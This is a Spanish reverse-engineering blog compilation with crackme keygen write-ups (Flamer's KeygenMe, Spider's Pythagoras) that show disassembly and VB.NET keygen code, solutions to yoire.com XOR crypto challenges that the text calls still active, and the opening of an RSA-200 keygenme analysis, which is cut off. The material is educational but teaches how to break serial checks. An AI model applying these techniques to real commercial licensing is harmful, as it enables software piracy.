Solución para el KeygenMe ASM de Flamer

Intro

El crackme que analizamos hoy está hecho en ensamblador y si bien su dificultad es baja, la creación del keygen es un poco liosa. Al keygen que veremos más adelante, le he dado cierta aleatoriedad para que quede más elegante.

El crackme comprueba el serial en función de un identificador de 4 dígitos que el mismo crackme genera.

Análisis

Coje nuestro serial mediante la función GetDlgItemTextA.

004010D3  |.  68 FF000000   PUSH 0FF                                 ; /MaxCount = 255.
004010D8  |.  68 40324000   PUSH OFFSET 00403240                     ; |String
004010DD  |.  68 EC030000   PUSH 3EC                                 ; |ItemID = 1004.
004010E2  |.  FF75 08       PUSH DWORD PTR SS:[ARG.1]                ; |hDialog => [ARG.1]
004010E5  |.  E8 6E010000   CALL <JMP.&user32.GetDlgItemTextA>       ; \USER32.GetDlgItemTextA
004010EA  |.  68 40324000   PUSH OFFSET 00403240                     ; /String
004010EF  |.  E8 52010000   CALL <JMP.&kernel32.lstrlenA>            ; \KERNEL32.lstrlen
004010F4  |.  A3 47334000   MOV DWORD PTR DS:[403347],EAX
004010F9  |.  33DB          XOR EBX,EBX
004010FB  |.  33C0          XOR EAX,EAX
004010FD  |.  EB 54         JMP SHORT 00401153

Comprueba que nuestro serial esté formado por números (30h – 39h), letras de la A a la F (41h – 46h) y el guión (2Dh), es decir, el alfabeto hexadecimal más el guión. Si hay algún dígito indeseado nos tira fuera.

004010FF  |>  8A83 40324000 /MOV AL,BYTE PTR DS:[EBX+403240]
00401105  |.  3C 2D         |CMP AL,2D
00401107  |.  74 40         |JE SHORT 00401149
00401109  |.  3C 30         |CMP AL,30
0040110B  |.  74 3C         |JE SHORT 00401149
0040110D  |.  3C 31         |CMP AL,31
0040110F  |.  74 38         |JE SHORT 00401149
00401111  |.  3C 32         |CMP AL,32
00401113  |.  74 34         |JE SHORT 00401149
00401115  |.  3C 33         |CMP AL,33
00401117  |.  74 30         |JE SHORT 00401149
00401119  |.  3C 34         |CMP AL,34
0040111B  |.  74 2C         |JE SHORT 00401149
0040111D  |.  3C 35         |CMP AL,35
0040111F  |.  74 28         |JE SHORT 00401149
00401121  |.  3C 36         |CMP AL,36
00401123  |.  74 24         |JE SHORT 00401149
00401125  |.  3C 37         |CMP AL,37
00401127  |.  74 20         |JE SHORT 00401149
00401129  |.  3C 38         |CMP AL,38
0040112B  |.  74 1C         |JE SHORT 00401149
0040112D  |.  3C 39         |CMP AL,39
0040112F  |.  74 18         |JE SHORT 00401149
00401131  |.  3C 41         |CMP AL,41
00401133  |.  74 14         |JE SHORT 00401149
00401135  |.  3C 42         |CMP AL,42
00401137  |.  74 10         |JE SHORT 00401149
00401139  |.  3C 43         |CMP AL,43
0040113B  |.  74 0C         |JE SHORT 00401149
0040113D  |.  3C 44         |CMP AL,44
0040113F  |.  74 08         |JE SHORT 00401149
00401141  |.  3C 45         |CMP AL,45
00401143  |.  74 04         |JE SHORT 00401149
00401145  |.  3C 46         |CMP AL,46
00401147  |.  75 07         |JNE SHORT 00401150
00401149  |>  8305 4B334000 |ADD DWORD PTR DS:[40334B],1
00401150  |>  83C3 01       |ADD EBX,1
00401153  |>  3B1D 47334000 |CMP EBX,DWORD PTR DS:[403347]
00401159  |.^ 76 A4         \JBE SHORT 004010FF
0040115B  |. A1 47334000 MOV EAX,DWORD PTR DS:[403347]
00401160  |. 3905 4B334000 CMP DWORD PTR DS:[40334B],EAX     ; si no coincide el tamaño del serial con el
00401166  |. 0F85 94000000 JNE 00401200                      ; contador nos tira fuera

La comprobación del serial la realiza sumando el valor ascii del primer dígito al valor ascii del tercero y sucesivos y a continuación restando la suma anterior al ID. Cuando finalice la comprobación de todos los dígitos del serial, el restador tiene que ser cero, de lo contrario nos tira fuera. Si el ID es cero también nos tira fuera.

Ejemplo (base 10)para ID = 4011 y SERIAL: 1-23456

  • Valores del serial: 1(49) -(no se usa) 2(50) 3(51) 4(52) 5(53) 6(54)
  • 1º + 3º: 49 + 50 = 99
  • 4011 – 99 = 3912
  • 1º + 4º: 49 + 51 = 100
  • 3912 – 100 = 3812
  • 1º + 5º: 49 + 52 = 101
  • 3812 – 101 = 3711
  • 1º + 6º: 49 + 53 = 102
  • 3711 – 102 = 3609
  • 1º + 7º: 49 + 54 = 103
  • 3609 – 103 = 3506
  • ¿3506 = 0?
0040116C  |.  33C0          XOR EAX,EAX
0040116E  |.  BB 02000000   MOV EBX,2
00401173  |.  A0 40324000   MOV AL,BYTE PTR DS:[403240]
00401178  |.  A3 43334000   MOV DWORD PTR DS:[403343],EAX
0040117D  |.  EB 13         JMP SHORT 00401192
0040117F  |>  8A83 40324000 /MOV AL,BYTE PTR DS:[EBX+403240]         ; Coje el dígito correspondiente
00401185  |.  0305 43334000 |ADD EAX,DWORD PTR DS:[403343]           ; 1ºdig + dig
0040118B  |.  2905 4F334000 |SUB DWORD PTR DS:[40334F],EAX           ; ID - (1ºdig + dig)
00401191  |.  43            |INC EBX
00401192  |>  3B1D 47334000 |CMP EBX,DWORD PTR DS:[403347]
00401198  |.^ 72 E5         \JB SHORT 0040117F
0040119A  |.  833D 4F334000 CMP DWORD PTR DS:[40334F],0              ; CHECK RESTADOR SEA = 0
004011A1  |.  75 49         JNE SHORT 004011EC
004011A3  |.  833D 3F334000 CMP DWORD PTR DS:[40333F],0              ; CHECK ID <> 0
004011AA  |.  74 40         JE SHORT 004011EC
004011AC  |.  FF35 3F334000 PUSH DWORD PTR DS:[40333F]               ; /<%d> = 0
004011B2  |.  68 00304000   PUSH OFFSET 00403000                     ; |Format = "REGISTRADO CON ID:%d"
004011B7  |.  68 40324000   PUSH OFFSET 00403240                     ; |Buf
004011BC  |.  E8 A9000000   CALL <JMP.&user32.wsprintfA>             ; \USER32.wsprintfA

Como veis, el resultado de ir restando todos los dígitos de nuestro serial con la ID debe ser cero para que el serial sea correcto.

Keygen

Lo primero que se me ocurre para obtener una solución directa es buscar una combinación de dígito + dígito que sea múltiplo del ID. Para ello podemos usar la función módulo. La función módulo lo que hace es darnos el resto de la división de dos números, de modo que si el resto es cero los números son múltiplos. Para ello debemos cruzar todos los números y letras hasta encontrar los dígitos múltiplos del ID. Un serial de este primer tipo quedaría algo así como 1-FFFFFFFFFFFFFFFFFF ya que como el primer dígito es fijo el otro se repetirá tanta veces como sea necesario para hacer que el ID sea cero.

Con nuestro reducido alfabeto, cabe la posibilidad de que no encontremos una combinación válida, por lo que tendremos que pensar en un plan B. El plan B que se me ocurre a mi es intentar forzar el plan A restando caracteres aleatorios al ID y volviendo a comprobar si encontramos múltiplos del nuevo ID. Un serial de este tipo quedaría más elegante, por ejemplo 3-A6D53B628BBBBB.

Os dejo unos cuantos números de serie.

  • Tipo A
    • ID: 1111 SERIAL: 0-55555555555
    • ID: 2500 SERIAL: 0-4444444444444444444444444
    • ID: 4982 SERIAL: 1-99999999999999999999999999999999999999999999999
    • ID: 4992 SERIAL: 0-0000000000000000000000000000000000000000000000000000
  • Tipo B
    • ID: 1112 SERIAL: 9-19247C5555
    • ID: 2499 SERIAL: A-C5ADC2233333333333333
    • ID: 4981 SERIAL: 7-C6FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
    • ID: 4999 SERIAL: 4-A37BEEB8146A5CE6ECFB422B1BFF8474E852314F5A999
'Keygen for Flamer's asm keygenme
    Dim id As Integer
    Dim serial As String
    Dim tmp, tmp2, na, nb As Integer
    Dim alfabeto As Integer() = New Integer() {48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 65, 66, 67, 68, 69, 70}
    Dim r As Random = New Random
    'Button generate
    Private Sub btngen_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btngen.Click
ini:
        If txtid.TextLength <> 4 Then GoTo Mal
        id = txtid.Text
        txtdebug.Text = ""
        na = alfabeto(r.Next(1, 16))
        serial = Chr(na) & "-"
        tmp = id
        For i = 0 To alfabeto.Length - 1
            For y = 0 To alfabeto.Length - 1
                'Solución directa
                If id Mod (alfabeto(i) + alfabeto(y)) = 0 Then
                    tmp = id / (alfabeto(i) + alfabeto(y))
                    txtserial.Text = Chr(alfabeto(i)) & "-"
                    For z = 0 To tmp - 1
                        txtserial.Text &= Chr(alfabeto(y))
                    Next
                    GoTo fuera
                End If
                'Indirecta con aleatoriedad
                nb = alfabeto(r.Next(1, 16))
                tmp = tmp - (na + nb)
                serial &= Chr(nb)
                If tmp Mod (na + nb) = 0 Then
                    tmp2 = tmp / (na + nb)
                    For z = 0 To tmp2 - 1
                        serial &= Chr(nb)
                    Next
                    txtserial.Text = serial
                    GoTo fuera
                End If
                If tmp < 0 Then
                    GoTo ini
                Else
                    txtdebug.Text &= tmp & " "
                End If
            Next
        Next
Mal:
        txtserial.Text = "¿id?"
fuera:

    End Sub

Me doy cuenta que en el keygen no he utilizado el guión, pero no pasa nada, se lo dejo al lector como curiosidad.

Links


Introducción Desempacado Eliminar la NAG Password Nº serie asociado a un nombre Checkbox Trackbar Links Introducción Aquí tenemos un Crackme
Un error que habitualmente cometo cuando me enfrento a todo tipo de retos (especialmente en CTFs) es empezar a procesar
Toda esta aventura comienza con un archivo llamado pretty_raw, sin extensión. Porque sí. Porque las extensiones son una invención heredada
Intro Extensión PPM Clave cifrada Un nuevo lenguaje de programación Enlaces Intro Hoy tenemos aquí un reto de esteganografía bastante

Keygen para el CrackMe Pythagoras de Spider

Introducción

Hoy tenemos aquí un bonito crackme matemático realizado por Spider. El crackme está realizado en ensamblador y precisamente por eso, vamos a tener que lidiar con ciertas peculiaridades al realizar el keygen con un lenguaje de bajo nivel.

Al inicio comprueba la longitud del nombre y de el número de serie. El nombre debe tener al menos 6 caracteres y el número de serie debe tener 10. Os adelanto ya que la asignación de memoria del nombre es de 9 caracteres, es decir, da igual la longitud del nombre que solo va a usar 9.

004014AD | E8 1A 02 00 00           | call <pythagoras.GetWindowTextA>        | ;Lee el nombre
004014B2 | 83 F8 06                 | cmp eax,6                               | ;Nombre >=6 caracteres
004014B5 | 0F 82 03 01 00 00        | jb pythagoras.4015BE                    |
004014BB | 6A 14                    | push 14                                 |
004014BD | 68 D9 31 40 00           | push pythagoras.4031D9                  | ;004031D9:"1234567890"
004014C2 | FF 35 10 32 40 00        | push dword ptr ds:[403210]              |
004014C8 | E8 FF 01 00 00           | call <pythagoras.GetWindowTextA>        | ;Lee el serial
004014CD | 83 F8 0A                 | cmp eax,A                               | ;Serial debe tener 10 (A) caracteres
004014D0 | 0F 85 E8 00 00 00        | jne pythagoras.4015BE                   |

Sabiendo esto introducimos Nombre: deurus y Serial: 1234567890

A continuación chequea que nuestro serial tenga caracteres hexadecimales.

004014DA | 8A 81 D9 31 40 00        | mov al,byte ptr ds:[ecx+4031D9]         | ; ecx+004031D9:"1234567890"
004014E0 | 3C 00                    | cmp al,0                                | ; contador del bucle
004014E2 | 74 1F                    | je pythagoras.401503                    | ; fin del bucle
004014E4 | 3C 30                    | cmp al,30                               | ; 0x30 = número 1
004014E6 | 0F 82 D2 00 00 00        | jb pythagoras.4015BE                    | ; < 30 bad boy
004014EC | 3C 46                    | cmp al,46                               | ; 0x46 = letra F
004014EE | 0F 87 CA 00 00 00        | ja pythagoras.4015BE                    | ; > 46 bad boy
004014F4 | 3C 39                    | cmp al,39                               | ; 0x39 = número 9
004014F6 | 76 08                    | jbe pythagoras.401500                   | ; <=39 ok continua el bucle
004014F8 | 3C 41                    | cmp al,41                               | ; 0x41 = letra A
004014FA | 0F 82 BE 00 00 00        | jb pythagoras.4015BE                    | ; <41 bad boy
00401500 | 41                       | inc ecx                                 | ; contador += 1
00401501 | EB D7                    | jmp pythagoras.4014DA                   | ; bucle

Continua realizando un sumatorio con nuestro nombre, pero tenemos que tener especial cuidado al tratamiento de los datos, ya que el crackme al estar hecho en ensamblador puede jugar con los registros como quiere y eso nos puede inducir a error.

0040150B | 3C 00                    | cmp al,0                                | ; ¿Fin bucle?
0040150D | 74 05                    | je pythagoras.401514                    | ; Salta fuera del bucle si procede
0040150F | 02 D8                    | add bl,al                               | ; bl = bl + al
00401511 | 41                       | inc ecx                                 | ; contador +=1
00401512 | EB F1                    | jmp pythagoras.401505                   | ; bucle

Si os fijáis utiliza registros de 8 bits como son AL y BL. Debajo os dejo una explicación de EAX pero para EBX es lo mismo.

               EAX
-----------------------------------
                         AX
                  -----------------
                     AH       AL
                  -------- --------
00000000 00000000 00000000 00000000
 (8bit)   (8bit)   (8bit)   (8bit)
 

  EAX     (32 bit)
--------
     AX   (16 bit)
    ----
    AHAL  (AH y AL 8 bit)
--------
00000000

El uso de registros de 8 bits nos implica tomar precauciones al realizar el Keygen debido a que por ejemplo, en .Net no tenemos la capacidad de decirle que haga una suma y que nos devuelva solamente 8 bits del resultado. Veamos como ejemplo para el nombre «deurus». La suma de los caracteres hexadecimales quedaría:

64+65+75+72+75+73 = 298, es decir, EAX = 00000298

Pero recordad que el crackme solo cogerá el 98 que es lo correspondiente al registro AL. De momento nos quedamos con nuestro SUMNOMBRE = 98.

Primera condición

A continuación coge los dos primeros caracteres del serial y les resta nuestro SUMNOMBRE y comprueba que el resultado esté entre 4 (0x4) y -4 (0xFC).

0040154B | 0F B6 05 F3 31 40 00     | movzx eax,byte ptr ds:[4031F3]          |
00401552 | 8A C8                    | mov cl,al                               |
00401554 | 2A CB                    | sub cl,bl                               | ; CL = CL - BL | CL = 12 - 98 = 7A
00401556 | 80 F9 04                 | cmp cl,4                                | ; Compara CL con 4
00401559 | 7F 63                    | jg pythagoras.4015BE                    | ; Salta si es mayor
0040155B | 80 F9 FC                 | cmp cl,FC                               | ; Compara CL con FC (-4)
0040155E | 7C 5E                    | jl pythagoras.4015BE                    | ; Salta si es menor

Como veis, el resultado de la resta da 7A (122) que al ser mayor que 4 nos echa vilmente. Aquí de nuevo utiliza registros de 8 bits por lo que debemos tener cuidado con las operaciones matemáticas para no cometer errores, veamos un ejemplo para clarificar de aquí en adelante.

Utilizando 8 bits
-----------------
12 - 98 = 7A que en decimal es 122

Utilizando 16 bits
------------------
0012 - 0098 = FF7A que en decimal es -134

Ahora ya veis la diferencia entre FC (252) y FFFC (-4). Estrictamente, el crackme comprueba el rango entre 4 (4) y FC (122) al trabajar con registros de 8 bits pero nosotros, como veremos más adelante tomaremos el rango entre 4 y -4. De momento, para poder continuar depurando cambiamos los dos primeros caracteres del serial de 12 a 98, ya que 98 – 98 = 0 y cumple la condición anterior.

Introducimos Nombre: deurus y Serial: 9834567890

Segunda condición

Analicemos el siguiente código.

00401560 | F7 E0                    | mul eax                                 | ; EAX = EAX * EAX
00401562 | 8B D8                    | mov ebx,eax                             | ; EBX = EAX
00401564 | 0F B7 05 F4 31 40 00     | movzx eax,word ptr ds:[4031F4]          | ; EAX = 3456 (4 dígitos siguientes del serial)
0040156B | F7 E0                    | mul eax                                 | ; EAX = EAX * EAX
0040156D | 03 D8                    | add ebx,eax                             | ; EBX = EBX + EAX
0040156F | 0F B7 05 F6 31 40 00     | movzx eax,word ptr ds:[4031F6]          | ; EAX = 7890 (4 últimos dígitos del serial)
00401576 | F7 E0                    | mul eax                                 | ; EAX = EAX * EAX
00401578 | 33 C3                    | xor eax,ebx                             | ; EAX
0040157A | 75 42                    | jne pythagoras.4015BE                   | ; Salta si el flag ZF no se activa

En resumen:

  • 98 * 98 = 5A40 (98²)
  • 3456 * 3456 = 0AB30CE4 (3456²)
  • 0AB36724 + 5A40 = 0AB36724
  • 7890 * 7890 = 38C75100 (7890²)
  • 38C75100 XOR 0AB36724 = 32743624
  • Si el resultado del XOR no es cero nuestro serial no pasa la comprobación.

Es decir, Pitágoras entra en escena -> 7890² = 98² + 3456²

Serial = aabbbbcccc

Tercera condición

Finalmente comprueba lo siguiente:

0040157C | 66 A1 F6 31 40 00        | mov ax,word ptr ds:[4031F6]             | ; AX = 7890
00401582 | 66 2B 05 F4 31 40 00     | sub ax,word ptr ds:[4031F4]             | ; AX = 7890 - 3456 = 443A
00401589 | 2C 08                    | sub al,8                                | ; AL = 3A - 8 = 32
0040158B | 75 31                    | jne pythagoras.4015BE                   | ; Si el resultado de la resta no ha sido cero, serial no válido
0040158D | 6A 30                    | push 30                                 |
0040158F | 68 B0 31 40 00           | push pythagoras.4031B0                  | ;004031B0:":-) Well done!!!"
00401594 | 68 7F 31 40 00           | push pythagoras.40317F                  | ;0040317F:"Bravo, hai trovato il seriale di questo CrackMe!"
00401599 | FF 75 08                 | push dword ptr ds:[ebp+8]               |

En resumen:

  • 7890 – 3456 – 8 = 0

Creación del Keygen

Nuestro serial tiene que cumplir tres condiciones para ser válido.

  • a – SUMNOMBRE debe estar entre 4 y -4
  • c² = a² + b²
  • c – b – 8 = 0

Como hemos dicho anteriormente, tomaremos el SUMNOMBRE y le sumaremos y restaremos valores siempre y cuando el resultado esté entre 4 y -4. Para deurus hemos dicho que el SUMNOMBRE es 98 por lo que los posibles valores de «a» se pueden ver debajo. Además debemos tener en cuenta que el crackme solo lee los 9 primeros dígitos del nombre.

98-4 = 94		
98-3 = 95		
98-2 = 96		
98-1 = 97		
98-0 = 98		
98+1 = 99		
98+2 = 9A		
98+3 = 9B		
98+4 = 9C

Es evidente que para encontrar el valor de «c» vamos a tener que utilizar fuerza bruta chequeando todos los valores  de «b» comprendidos entre 0 y FFFF (65535). Además, como trabajaremos en un lenguaje de alto nivel, debemos descartar los resultados decimales. Esto nos limitará los seriales válidos asociados a un determinado nombre. Si realizáramos el keygen en ensamblador obtendríamos bastantes más seriales válidos.

Una vez encontrados los valores enteros de la operación «c² = a² + b²», se debe cumplir que «c – b – 8 = 0», lo que nos limitará bastante los resultados.

    Private Sub btn_generar_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btn_generar.Click
        Try
            If txt_nombre.TextLength > 5 Then
                lst_serials.Items.Clear()
                Dim tmp, c, cx As String
                Dim sumanombre, tmp2 As Integer
                If txt_nombre.TextLength > 9 Then tmp2 = 8 Else tmp2 = txt_nombre.TextLength - 1
                'Calculo el SUMNOMBRE
                For i = 0 To tmp2
                    sumanombre += Asc(Mid(txt_nombre.Text, i + 1, 1)) 'Acumulo suma
                    tmp = Strings.Right(Hex(sumanombre).ToString, 2)  'Solo 8 bits (Registro AL)
                    sumanombre = Val("&H" & tmp) 'Paso a decimal
                Next
                tmp = Strings.Right(Hex(sumanombre).ToString, 2)
                sumanombre = CInt("&H" & tmp)
                txtdebug.Text = "- SumNombre = " & Hex(sumanombre) & vbCrLf
                txtdebug.Text &= "----------------------------------------------" & vbCrLf
                Dim a(8) As Integer
                '
                'a - sumanombre >=4 y <=4
                '
                a(0) = sumanombre - 4
                a(1) = sumanombre - 3
                a(2) = sumanombre - 2
                a(3) = sumanombre - 1
                a(4) = sumanombre
                a(5) = sumanombre + 1
                a(6) = sumanombre + 2
                a(7) = sumanombre + 3
                a(8) = sumanombre + 4
                txtdebug.Text &= "- Posibles valores de 'a'" & vbCrLf
                For i = 0 To a.Length - 1
                    txtdebug.Text &= Hex(a(i)) & " "
                Next
                txtdebug.Text &= "----------------------------------------------" & vbCrLf
                txtdebug.Text &= "- Buscando valores de b y c" & vbCrLf
                txtdebug.Text &= "Serial = aabbbbcccc" & vbCrLf
                '
                'c = sqr(a^2 + b^2)
                '
                txtdebug.Text &= "(1) c = raiz(a^2 + b^2)" & vbCrLf
                txtdebug.Text &= "(2) c - b - 8 = 0" & vbCrLf
                For i = 0 To a.Length - 1 ' todas las posibilidades de a
                    For b = 0 To 65535 'b -> 0000 - FFFF
                        c = Math.Sqrt(a(i) ^ 2 + b ^ 2)
                        If c.Contains(".") Then 'busco enteros
                        Else
                            cx = c - b - 8
                            cx = Hex(cx).PadLeft(4, "0"c)
                            lbl_info.Text = cx
                            If cx = "0000" Then
                                txtdebug.Text &= " (1) " & Hex(c).PadLeft(4, "0"c) & " = raiz(" & Hex(a(i)).PadLeft(2, "0"c) & "^2 + " & Hex(b).PadLeft(4, "0"c) & "^2)" & vbCrLf
                                lst_serials.Items.Add(Hex(a(i)).PadLeft(2, "0"c) & Hex(b).PadLeft(4, "0"c) & Hex(c).PadLeft(4, "0"c))
                                txtdebug.Text &= " (2) " & Hex(c).PadLeft(4, "0"c) & " - " & Hex(b).PadLeft(4, "0"c) & " - 8 = 0" & vbCrLf
                            End If
                        End If
                        Application.DoEvents()
                    Next
                Next
                lbl_info.Text = "Búsqueda finalizada"
            End If
        Catch ex As Exception
            MsgBox(ex.ToString)
        End Try

Enlaces

Retos de encriptación XOR de Yoire

Warning: This challenge is still active and therefore should not be resolved using this information.
Aviso: Este reto sigue en activo y por lo tanto no se debería resolver utilizando esta información.

Introducción

El cifrado XOR es uno de los algoritmos más utilizados en el mundillo de la encriptación. Aunque por sí solo no es seguro, suele formar parte de cifrados más complejos e incluso si sois aficionados a los crackmes os habréis dado cuenta de que raro es el crackme que no lo utiliza.

Hoy vamos a hacer un recorrido sobre los retos de encriptación que nos propone yoire.com, que aunque son muy sencillos, nos proporcionan una estupenda base para iniciarnos en este tipo de retos.

/challenges/crypt/xor/0_chall_very_easy

En este primer reto, el autor te da directamente la solución, ya que, nos da un texto cifrado y nos dice que está cifrado con la clave 10. Lo que el autor no indica es que la clave es hexadecimal, mas adelante ya aprendereis a fijaros en esos detalles.

Texto cifrado: uqci0t~7d0ie0dxy~{

Clave: 10

challenges_crypt_xor_0_chall_very_easy

/challenges/crypt/xor/1_chall_easy

Esta vez disponemos de un texto cifrado pero sin pistas. Si nos fijamos en el código fuente veremos que la clave utilizada esta vez es 20 y decimal.

<?php
include("../../../core.php");
print Website::header(array("title"=>"The XOR Chall - Easy"));
print Challenges::header();
?>
Convierte la solución que está cifrada con una clave XOR para obtener la respuesta a este reto:
<br><br>
<?php

$solution_xored="m{a4s{`4}`5";
$key           = sprintf("%2x",20);
$solution      = Crypt::XorData($solution_xored,$key);

print "La solución es: ".$solution_xored;

print "<br><br>";
print Challenges::solutionBox();
print Challenges::checkSolution(Crypt::XorData($solution_xored,$key));
?>

challenges_crypt_xor_1_chall_easy

/challenges/crypt/xor/2_chall_mid

En esta ocasión debemos ojear el código fuente para averiguar como solucionar el reto. En esta ocasión y como de lo que se trata es de aprender, este lo dejaré sin solucionar.

<?php 
include("../../../core.php");
print Website::header(array("title"=>"The XOR Chall - Mid"));
print Challenges::header();
?>
Convierte la solución que está codificada y cifrada con una clave XOR para obtener la respuesta a este reto:
<br><br>
<?php

foreach (
        preg_split("/\./","2.4.10.71.3698") 
        as $something
        ) 

$value=pow($something,2);

$key            = dechex($value);
$solution_xored = base64_decode("ucSnos+lo8Oqtw==");
$solution       = Crypt::XorData($solution_xored,$key);

print Challenges::solutionBox();
print Challenges::checkSolution(Crypt::XorData($solution_xored,$key));
?>
<a href="<?=$_SERVER["PHP_SELF"]?>?showSource">Ver código fuente</a>

<?php
if(Common::getString("showSource")!==false) {
    print "<hr>";
    highlight_file(__FILE__);
}
print Website::footer();
?>
  • Lo primero es mediante un compilador online de PHP, obtener la variable $key.
  • Decodificar la clave xoreada «ucSnos+lo8Oqtw==«.
  • Solución = base64_decode(«ucSnos+lo8Oqtw==») XOR $key

Venga que casi lo tienes.

/challenges/crypt/xor/3_chall_average

En este reto nos indican que el código fuente está encriptado. Cuando nos enfrentamos a XOR en texto grandes y teniendo un indicio de lo que puede contener el código desencriptado es sencillo encontrar lo que buscamos. En este caso en concreto podemos intuir que seguramente el texto contenga la palabra «php«, una vez llegamos a esa conclusión la solución llega sola. Este método no deja de ser un ataque por fuerza bruta.

Código encriptado

lo 8 p]Z9>3<%45xr~~~~~~3?"5~ 8 ryk]Z "9>$p52#9$5jj85145"x1""1)xr$9

lt;5rmnr85pp81<$p81<<5>75#jj85145"xyk]Zon]Z1"535p!%5p5$5p81p#94?p396"14?~~~p%===~~~p$5>4"±#p!%5p1&5"97%1"p3£=?p 1"1p?2$5>5"p<1p"5# %5#$1p1p5#$5p"5$?j]Zl2"nl2"n]Zlo 8 ]Z]Zt;5)ppppppppppppmpre`rk]Zt=5pppppppppppppmp69<575$3?>$5>$#xyk]Zt=5(?"54pppppppmp") $jj?"1$1xt=5|t;5)yk]Z]Z "9>$p81<<5>75#jj#?<%$9?>?(xyk]Z "9>$p81<<5>75#jj3853;?<%$9?>xr3````aryk]Zon]Zl1p8"56mrlomtrr onolom%"<5>3?45x") $jj?"1$1xr#8?'?%"35r|t;5)yyonrn5"p3£497?p6%5>$5l1n]Z]Zlo 8 ]Z96x?==?>jj75$$"9>7x") $jj?"1$1xr#8?'?%"35r|t;5)yyqmm61<#5yp+]ZY "9>$prl8"nrk]ZY "9>$pt=5(?"54k]Z-]Z "9>$p52#9$5jj6??$5"xyk]Zon]Z

Código desencriptado

challenges_crypt_xor_3_chall_average

/challenges/crypt/xor/4_chall_hard

En este último reto nos aparece un mensaje que nos dice «La solución es: 7b1a4147100a155a0f45574e0f58«. Nos fijamos en el código fuente y vemos que en la encriptación interviene una cookie llamada «PHPSESSID«.

Código fuente

<?php 
include("../../../core.php");
print Website::header(array("title"=>"The XOR Chall - Hard"));
print Challenges::header();
?>
Convierte la solución que está codificada y cifrada con una clave XOR para obtener la respuesta a este reto:
<br><br>
<?php

$sessid             = isset($_COOKIE["PHPSESSID"])?$_COOKIE["PHPSESSID"]:">hi!|m¬_ö_Ó_;m'`ñ·$\"<";
$key                = Encoder::asc2hex($sessid);
$hiddenSolution     = file_get_contents(Config::$challsHiddenData."crypt_xor_average.solution");
$hex_xored_solution = Encoder::data2hex(Crypt::XorData($hiddenSolution,$key));

print "La solucion es: ".$hex_xored_solution;

print "<br><br>";

print Challenges::solutionBox();
print Challenges::checkSolution($hiddenSolution);
?>
<a href="<?=$_SERVER["PHP_SELF"]?>?showSource">Ver código fuente</a>

<?php
if(Common::getString("showSource")!==false) {
    print "<hr>";
    highlight_file(__FILE__);
}
print Website::footer();
?>

Desde Firefox vamos a usar una extensión muy interesante llamada Advanced Cookie Manager que nos permitirá visualizar y modificar dicha cookie.

challenges_crypt_xor_4_chall_hard_02

Una particularidad de la encriptación XOR es que si realizamos «algo XOR 0 == algo«, por lo que un ataque típico sería anular la cookie. La modificamos poniendo como valor 0 y guardamos. Recargamos la web con F5 y ahora nos fijamos que el valor de la solución ha cambiado a «7e5f4410435f1058514254100a19«. Finalmente y teniendo en cuenta que el texto que tenemos es hexadecimal, hacemos fuerza bruta marcando la opción Output First y clickamos en Search.

crypt_xor_4_chall_hard_2

En el mismo directorio donde tenemos el programa se genera un archivo llamado «XOR_enumeration.txt«, que contiene todos los resultados, echamos un vistazo y hemos tenido suerte.

crypt_xor_4_chall_hard_3

Enlaces

Solución al KeygenMe1 (RSA200) de Dihux

Introducción

Empezamos con lo que espero que sea una serie de crackmes RSA. En este caso en particular y como el propio autor nos adelanta, se trata de RSA-200.

En criptografía, RSA (Rivest, Shamir y Adleman) es un sistema criptográfico de clave pública desarrollado en 1977. Es el primer y más utilizado algoritmo de este tipo y es válido tanto para cifrar como para firmar digitalmente.

 Funcionamiento de RSA

  1. Inicialmente es necesario generar aleatoriamente dos números primos grandes, a los que llamaremos p y q.
  2. A continuación calcularemos n como producto de p y q:
    n = p * q
  3. Se calcula fi:
    fi(n)=(p-1)(q-1)
  4. Se calcula un número natural e de manera que MCD(e, fi(n))=1 , es decir e debe ser primo relativo de fi(n). Es lo mismo que buscar un numero impar por el que dividir fi(n) que de cero como resto.
  5. Mediante el algoritmo extendido de Euclides se calcula d que es el inverso modular de e.
    Puede calcularse d=((Y*fi(n))+1)/e para Y=1,2,3,... hasta encontrar un d entero.
  6. El par de números (e,n) son la clave pública.
  7. El par de números (d,n) son la clave privada.
  8. Cifrado: La función de cifrado es.
    c = m^e mod n
  9. Descifrado: La función de descifrado es.
    m = c^d mod n

OllyDbg

Con OllyDbg analizamos la parte del código que nos interesa.

00401065  |>push    19                          ; /Count = 19 (25.)
00401067  |>push    00404330                    ; |Buffer = dihux_ke.00404330
0040106C  |>push    2711                        ; |ControlID = 2711 (10001.)
00401071  |>push    dword ptr [ebp+8]           ; |hWnd
00401074  |>call    <GetDlgItemTextA>           ; \GetDlgItemTextA
00401079  |>cmp     eax, 5                      ;  Tamaño nombre >= 5
0040107C  |>jb      00401214
00401082  |>cmp     eax, 14                     ;  Tamaño nombre <= 0x14
00401085  |>ja      00401214
0040108B  |>mov     [404429], eax
00401090  |>push    96                          ; /Count = 96 (150.)
00401095  |>push    00404349                    ; |Buffer = dihux_ke.00404349
0040109A  |>push    2712                        ; |ControlID = 2712 (10002.)
0040109F  |>push    dword ptr [ebp+8]           ; |hWnd
004010A2  |>call    <GetDlgItemTextA>           ; \GetDlgItemTextA
004010A7  |>test    al, al
........
004010D8  |>xor     ecx, ecx                    ;  Case 0 of switch 004010B6
004010DA  |>/push    0
004010DC  |>|call    <__BigCreate@4>
004010E1  |>|mov     [ecx*4+404411], eax
004010E8  |>|inc     ecx
004010E9  |>|cmp     ecx, 6
004010EC  |>\jnz     short 004010DA
004010EE  |>push    dword ptr [404411]          ; /Arg3 = 00B60000
004010F4  |>push    10                          ; |16??
004010F6  |>push    0040401F                    ; |Arg1 = 0040401F ASCII "8ACFB4D27CBC8C2024A30C9417BBCA41AF3FC3BD9BDFF97F89"
004010FB  |>call    <__BigIn@12>                ; \dihux_ke.004013F3
00401100  |>push    dword ptr [404415]          ; /Arg3 = 00C70000
00401106  |>push    10                          ; |Arg2 = 00000010
00401108  |>push    00404019                    ; |Arg1 = 00404019 ASCII "10001"
0040110D  |>call    <__BigIn@12>                ; \dihux_ke.004013F3
00401112  |>push    dword ptr [404425]          ; /Arg3 = 00CB0000
00401118  |>push    10                          ; |Arg2 = 00000010
0040111A  |>push    00404349                    ; |Arg1 = 00404349 ASCII "123456789123456789"
0040111F  |>call    <__BigIn@12>                ; \dihux_ke.004013F3
00401124  |>push    00404330                    ; /String = "deurus"
